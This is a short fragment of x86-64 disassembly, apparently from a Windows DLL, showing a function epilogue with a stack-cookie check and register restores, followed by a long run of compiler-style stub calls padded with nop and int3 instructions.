cmp rdx, 0x1000
jb 0x1800061cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006204
call fcn.18002d110
mov rcx, qword [rbp + 0x1b8]
xor rcx, rsp
call fcn.18002d0f0
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.18003e6f8
nop
call fcn.180001580
nop
call fcn.18003e6f8
int3
call fcn.180001580
nop
call fcn.180001580
nop
call fcn.1800014e0
int3
call fcn.18003e6f8
int3
call fcn.1800014e0
int3
call fcn.18003e6f8
int3
call fcn.1800014e0
int3
call fcn.18003e6f8
nop
call fcn.1800014e0
int3
call fcn.18003e6f8
nop
call fcn.18003e6f8
nop
call fcn.18003e6f8
int3
call fcn.1800014e0
int3
call fcn.18003e6f8
nop
call fcn.1800014e0
int3
call fcn.18003e6f8
nop
call fcn.180001580
int3
call fcn.18003e6f8
nop
call fcn.18003e6f8
int3
call fcn.180001580
nop
call fcn.18003e6f8
nop
call fcn.18003e6f8
nop
call fcn.18003e6f8
nop
call fcn.18003e6f8
nop
call fcn.18003e6f8
nop
call fcn.18003e6f8
nop
call fcn.18003e6f8
nop
call fcn.18003e6f8
nop
call fcn.18003e6f8
nop
call fcn.18003e6f8
nop
call fcn.18003e6f8
nop
call fcn.18003e6f8
int3